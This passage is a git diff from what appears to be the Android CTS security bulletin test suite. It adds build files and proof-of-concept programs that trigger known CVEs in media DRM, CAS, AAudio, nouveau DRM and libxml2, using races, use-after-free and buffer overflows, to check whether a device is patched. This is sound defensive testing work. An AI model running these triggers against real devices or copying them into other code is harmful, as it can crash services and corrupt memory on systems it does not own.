   struct drm_nouveau_gem_new new_arg;
 
   memset(&new_arg, 0, sizeof(new_arg));
@@ -57,66 +53,43 @@
   new_arg.info.size = 0x1000;
   new_arg.info.domain = NOUVEAU_GEM_DOMAIN_GART;
 
-  ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg);
-  if (ret == -1) {
-    return -1;
+  if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg) < 0) {
+    close(fd);
+    exit(EXIT_FAILURE);
   }
-
   return new_arg.info.handle;
 }
 
-static uint32_t get_gem_map_handle(int fd)
-{
-  uint32_t handle;
-
-  handle = nouveau_gem_ioctl_new(fd);
-
-  return handle;
-}
-
-static void nouveau_gem_ioctl_map(int fd, uint32_t handle)
-{
-  int ret;
+static void nouveau_gem_ioctl_map(int fd, uint32_t handle) {
   struct drm_nouveau_gem_map map_arg;
   memset(&map_arg, 0, sizeof(map_arg));
   map_arg.handle = handle;
   map_arg.length = 0x1000;
 
-  ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg);
-  if (ret == -1) {
-    return;
+  if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg) < 0) {
+    close(fd);
+    exit(EXIT_FAILURE);
   }
 }
 
-void poc()
-{
+int main() {
   int fd;
-  const int MAX_MAPS = 10;
+  time_t test_started = start_timer();
 
-  fd = open(DRMDEV_NAME, O_RDWR);
-  if (fd == -1) {
-    return;
+  while (timer_active(test_started)) {
+    fd = open(DRMDEV_NAME, O_RDWR);
+    if (fd < 0) {
+      return -1;
+    }
+
+    drm_version(fd);
+
+    uint32_t handle = nouveau_gem_ioctl_new(fd);
+
+    for (int i = 0; i < MAX_MAPS; i++) {
+      nouveau_gem_ioctl_map(fd, handle);
+    }
+    close(fd);
   }
-
-  if (drm_version(fd) == -1){
-    return;
-  }
-
-  uint32_t handle = get_gem_map_handle(fd);
-
-  for(int i = 0; i < MAX_MAPS; i++){
-    nouveau_gem_ioctl_map(fd, handle);
-  }
-  close(fd);
-
-  return;
-}
-
-int main()
-{
-  const int MAX_RUNS = 30000;
-
-  for(int i = 0; i < MAX_RUNS; i++) {
-    poc();
-  }
+  return 0;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.mk
new file mode 100644
index 0000000..a806207
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9344
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+    libutils \
+    libbinder \
+    libhidlbase \
+    libhardware \
+    android.hardware.cas.native@1.0 \
+    android.hardware.cas@1.0 \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/poc.cpp
new file mode 100644
index 0000000..b5153e5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9344/poc.cpp
@@ -0,0 +1,108 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <android/hardware/cas/1.0/IMediaCasService.h>
+#include <android/hardware/cas/native/1.0/IDescrambler.h>
+#include <binder/ProcessState.h>
+
+using namespace android;
+using hardware::hidl_vec;
+using hardware::Return;
+using namespace hardware::cas::V1_0;
+using android::hardware::Void;
+using android::hardware::cas::native::V1_0::IDescrambler;
+
+class MyMediaCasListener : public ICasListener {
+ public:
+  virtual Return<void> onEvent(int32_t, int32_t, const hidl_vec<uint8_t>&) override {
+    return Void();
+  }
+};
+
+static const int32_t sClearKeySystemId = 0xF6D8;
+static sp<IDescramblerBase> descramblerBase;
+
+static void* thread1(void*) {
+  Return<Status> returnStatus(Status::OK);
+  std::vector<uint8_t> sessionId;
+  sessionId.push_back(1);
+
+  returnStatus = descramblerBase->setMediaCasSession(sessionId);
+
+  return NULL;
+}
+
+int main() {
+  sp<ICas> cas;
+  Status status;
+  sp<IDescrambler> descrambler;
+  Return<Status> returnStatus(Status::OK);
+  Return<sp<IDescramblerBase>> returnDescrambler(NULL);
+  std::vector<uint8_t> sessionId;
+
+  android::ProcessState::self()->startThreadPool();
+
+  sp<IMediaCasService> casService = IMediaCasService::getService("default");
+  if (casService == NULL) {
+    return EXIT_FAILURE;
+  }
+
+  sp<ICasListener> listener;
+  cas = casService->createPlugin(sClearKeySystemId, listener);
+  if (cas == NULL) {
+    return EXIT_FAILURE;
+  }
+
+  auto returnVoid = cas->openSession(
+      [&status, &sessionId](Status _status,
+                            const hidl_vec<uint8_t>& _sessionId) {
+        status = _status;
+        sessionId = _sessionId;
+      });
+  if (!returnVoid.isOk() || status != Status::OK) {
+    return EXIT_FAILURE;
+  }
+
+  returnDescrambler = casService->createDescrambler(sClearKeySystemId);
+  if (!returnDescrambler.isOk()) {
+    return EXIT_FAILURE;
+  }
+
+  descramblerBase = (sp<IDescramblerBase>)returnDescrambler;
+
+  if (descramblerBase == NULL) {
+    return EXIT_FAILURE;
+  }
+
+  returnStatus = descramblerBase->setMediaCasSession(sessionId);
+
+  if (!returnStatus.isOk() || (Status)returnStatus != Status::OK) {
+    return EXIT_FAILURE;
+  }
+
+  descrambler = IDescrambler::castFrom(descramblerBase);
+
+  if (descrambler == NULL) {
+    return EXIT_FAILURE;
+  }
+
+  pthread_t pt;
+  pthread_create(&pt, NULL, thread1, NULL);
+
+  descramblerBase->release();
+
+  return EXIT_FAILURE;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk
new file mode 100644
index 0000000..0615108
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk
@@ -0,0 +1,38 @@
+#
+#copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9424
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+
+LOCAL_SHARED_LIBRARIES := libbinder \
+                          libutils \
+                          libcutils
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+LOCAL_CPPFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/poc.cpp
new file mode 100644
index 0000000..88dfad6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/poc.cpp
@@ -0,0 +1,149 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions vand
+ * limitations under the License.
+ */
+
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <binder/IMemory.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <binder/Parcel.h>
+#include <cutils/ashmem.h>
+#include <utils/String8.h>
+
+using namespace android;
+
+#define MAKE_CRYPTO (IBinder::FIRST_CALL_TRANSACTION)
+#define CREATE_PLUGIN (IBinder::FIRST_CALL_TRANSACTION + 2)
+#define DECRYPT (IBinder::FIRST_CALL_TRANSACTION + 5)
+#define SET_HEAP (IBinder::FIRST_CALL_TRANSACTION + 8)
+
+class MyMemoryHeap : public virtual BnMemoryHeap {
+public:
+  MyMemoryHeap(int fd) { mFd = fd; }
+  int getHeapID() const { return mFd; }
+  void *getBase() const { return NULL; }
+  size_t getSize() const { return 4096 * 4096; }
+  uint32_t getFlags() const { return 0; }
+  uint32_t getOffset() const { return 0; }
+
+private:
+  mutable int mFd;
+};
+
+sp<IBinder> crypto_binder;
+
+void make_crypto() {
+
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> drm_binder = sm->getService(String16("media.drm"));
+
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.media.IMediaDrmService"));
+
+  drm_binder->transact(MAKE_CRYPTO, data, &reply, 0);
+
+  crypto_binder = reply.readStrongBinder();
+}
+
+void create_plugin() {
+
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+
+  uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
+                      0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
+  data.write(uuid, 16);
+
+  data.writeInt32(0);
+
+  crypto_binder->transact(CREATE_PLUGIN, data, &reply, 0);
+}
+
+int set_heap() {
+
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+  int fd = ashmem_create_region("ele7enxxh", 4096);
+  sp<IMemoryHeap> heap = new MyMemoryHeap(fd);
+  data.writeStrongBinder(IInterface::asBinder(heap));
+
+  crypto_binder->transact(SET_HEAP, data, &reply, 0);
+
+  return reply.readInt32();
+}
+
+void decrypt() {
+
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+  data.writeInt32(0);
+  data.writeInt32(0);
+  data.writeInt32(0);
+
+  uint8_t key[16];
+  memset(key, 0, 16);
+  data.write(key, 16);
+  uint8_t iv[16];
+  memset(iv, 0, 16);
+  data.write(iv, 16);
+
+  // totalsize
+  data.writeInt32(4096 * 4);
+
+  sp<MemoryDealer> memoryDealer = new MemoryDealer(4096 * 4);
+  sp<IMemory> mem = memoryDealer->allocate(4096 * 4);
+  data.writeStrongBinder(IInterface::asBinder(mem));
+
+  // source.mHeapSeqNum
+  data.writeInt32(0);
+
+  // offset
+  data.writeInt32(0);
+
+  // numSubSamples
+  data.writeInt32(1);
+
+  // numBytesOfClearData
+  data.writeInt32(4096 * 4);
+
+  // numBytesOfEncryptedData
+  data.writeInt32(0);
+
+  // destination.mType
+  data.writeInt32(0);
+
+  // destination.mSharedMemory
+  data.writeStrongBinder(IInterface::asBinder(mem));
+
+  crypto_binder->transact(DECRYPT, data, &reply, 0);
+}
+
+int main() {
+
+  make_crypto();
+
+  create_plugin();
+
+  set_heap();
+
+  decrypt();
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.mk
new file mode 100644
index 0000000..a886b57
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9428
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libmedia
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += libbinder
+LOCAL_SHARED_LIBRARIES += libaaudio
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS := -Wall -Werror -Wno-multichar -fpermissive
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
new file mode 100644
index 0000000..84889cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <binder/IServiceManager.h>
+#include <binder/IPCThreadState.h>
+#include "binding/IAAudioService.h"
+
+using namespace android;
+using namespace aaudio;
+
+typedef struct _thread_args {
+    aaudio_handle_t aaudioHandle;
+    sp<IAAudioService> aas;
+} thread_args;
+
+static void* closeStreamThread(void *arg) {
+    thread_args *threadArgs = (thread_args*) arg;
+    if (threadArgs) {
+        if (threadArgs->aas) {
+            threadArgs->aas->closeStream(threadArgs->aaudioHandle);
+        }
+    }
+    return nullptr;
+}
+
+static void* startStreamThread(void *arg) {
+    thread_args *threadArgs = (thread_args*) arg;
+    if (threadArgs) {
+        if (threadArgs->aas) {
+            threadArgs->aas->startStream(threadArgs->aaudioHandle);
+        }
+    }
+    return nullptr;
+}
+
+int main() {
+    thread_args targs;
+
+    sp < IServiceManager > sm = defaultServiceManager();
+    sp < IBinder > binder = sm->getService(String16("media.aaudio"));
+    targs.aas = interface_cast < IAAudioService > (binder);
+    if (!(targs.aas)) {
+        return EXIT_FAILURE;
+    }
+    aaudio::AAudioStreamRequest request;
+    request.getConfiguration().setSharingMode(AAUDIO_SHARING_MODE_SHARED);
+    request.getConfiguration().setDeviceId(0);
+    request.getConfiguration().setSampleRate(AAUDIO_UNSPECIFIED);
+
+    time_t currentTime = start_timer();
+    while (timer_active(currentTime)) {
+        pthread_t pt[2];
+
+        aaudio::AAudioStreamConfiguration configurationOutput;
+        targs.aaudioHandle = targs.aas->openStream(request,
+                                                   configurationOutput);
+        pthread_create(&pt[0], nullptr, closeStreamThread, &targs); /* close stream */
+        pthread_create(&pt[1], nullptr, startStreamThread, &targs); /* start stream */
+
+        sleep(5);
+    }
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.mk
new file mode 100644
index 0000000..3c2f232
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/Android.mk
@@ -0,0 +1,79 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+#============================== CVE-2017-9047 ==============================#
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9466-CVE-2017-9047
+LOCAL_SRC_FILES := poc-CVE-2017-9047.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/libxml2
+LOCAL_C_INCLUDES += external/libxml2/include
+LOCAL_C_INCLUDES += external/icu/icu4c/source/common/
+LOCAL_SHARED_LIBRARIES := libxml2
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
+
+#============================== CVE-2017-9048 ==============================#
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9466-CVE-2017-9048
+LOCAL_SRC_FILES := poc-CVE-2017-9048.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/libxml2
+LOCAL_C_INCLUDES += external/libxml2/include
+LOCAL_C_INCLUDES += external/icu/icu4c/source/common/
+LOCAL_SHARED_LIBRARIES := libxml2
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
+
+#============================== CVE-2017-9049 & CVE-2017-9050 ==============================#
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9466-CVE-2017-9049
+LOCAL_SRC_FILES := poc-CVE-2017-9049.c
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/libxml2
+LOCAL_C_INCLUDES += external/libxml2/include
+LOCAL_C_INCLUDES += external/icu/icu4c/source/common/
+LOCAL_SHARED_LIBRARIES := libxml2
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -DCHECK_UNDERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c
new file mode 100644
index 0000000..4457f26
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <string.h>
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#define BUFFER_SIZE     64
+
+int main(void) {
+    char buf[BUFFER_SIZE];
+    xmlElementContent content;
+    content.type = XML_ELEMENT_CONTENT_ELEMENT;
+    content.prefix =
+            (const xmlChar *) "123456789012345678901234567890123456789012345678901234";
+    content.name =
+            (const xmlChar *) "123456789012345678901234567890123456789012345678901234";
+    content.ocur = XML_ELEMENT_CONTENT_PLUS;
+    content.c1 = NULL;
+    content.c2 = NULL;
+    content.parent = NULL;
+    memset(buf, 0, BUFFER_SIZE);
+    xmlSnprintfElementContent(buf, BUFFER_SIZE, &content, 1);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c
new file mode 100644
index 0000000..985b156
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c
@@ -0,0 +1,35 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <string.h>
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#define BUFFER_SIZE     64
+
+int main(void) {
+    char buf[BUFFER_SIZE];
+    xmlElementContent content;
+    content.type = XML_ELEMENT_CONTENT_ELEMENT;
+    content.prefix = (const xmlChar *) "1234567890123456789012345678901";
+    content.name = (const xmlChar *) "1234567890123456789012345678901";
+    content.ocur = XML_ELEMENT_CONTENT_PLUS;
+    content.c1 = NULL;
+    content.c2 = NULL;
+    content.parent = NULL;
+    memset(buf, 0, BUFFER_SIZE);
+    xmlSnprintfElementContent(buf, BUFFER_SIZE, &content, 1);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c
new file mode 100644
index 0000000..13f39fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <string.h>
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#include <libxml/relaxng.h>
+#include <libxml/xmlschemas.h>
+#include <libxml/xmlschemastypes.h>
+
+static char *xmlPosixStrdup(const char *cur) {
+    return((char*) xmlCharStrdup(cur));
+}
+
+int main(int argc, char **argv) {
+    if (argc != 2) {
+        return EXIT_FAILURE;
+    }
+    xmlGetWarningsDefaultValue = 0;
+    xmlPedanticParserDefault(0);
+    xmlGcMemSetup(free, malloc, malloc, realloc, xmlPosixStrdup);
+    xmlInitParser();
+    xmlSchemaInitTypes();
+    xmlRelaxNGInitTypes();
+    xmlReadFile(argv[1], NULL, XML_PARSE_OLD10);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.mk
new file mode 100644
index 0000000..4c883b8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9472
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/libxml2/include/
+LOCAL_C_INCLUDES += external/icu/icu4c/source/common/
+LOCAL_SHARED_LIBRARIES :=  liblog
+LOCAL_SHARED_LIBRARIES +=  libxml2
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/poc.cpp
new file mode 100644
index 0000000..42f9323
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/poc.cpp
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <string.h>
+#include <stdlib.h>
+#include <libxml/xmlmemory.h>
+#include "../includes/common.h"
+
+bool s_strlen_initialized = false;
+static unsigned long (*real_strlen)(const char *) = nullptr;
+
+#define TEST_STRING "CVE-2018_9472_Simulate_OverFlow_By_Large_String_Length"
+#define LARGE_SIZE  ((size_t) -2)
+
+void strlen_init(void) {
+    real_strlen = (unsigned long (*)(const char *)) dlsym(RTLD_NEXT, "strlen");
+    if (real_strlen) {
+        s_strlen_initialized = true;
+    }
+}
+
+size_t strlen(const char *str) {
+    if (!s_strlen_initialized) {
+        strlen_init();
+    }
+    if (!strncmp(str, TEST_STRING, sizeof(TEST_STRING))) {
+        return LARGE_SIZE;
+    }
+    return real_strlen(str);
+}
+
+int main() {
+    if (xmlMemStrdupLoc(TEST_STRING, "none", 0)) {
+        return EXIT_VULNERABLE;
+    }
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.mk
new file mode 100644
index 0000000..95acb7a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9491
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
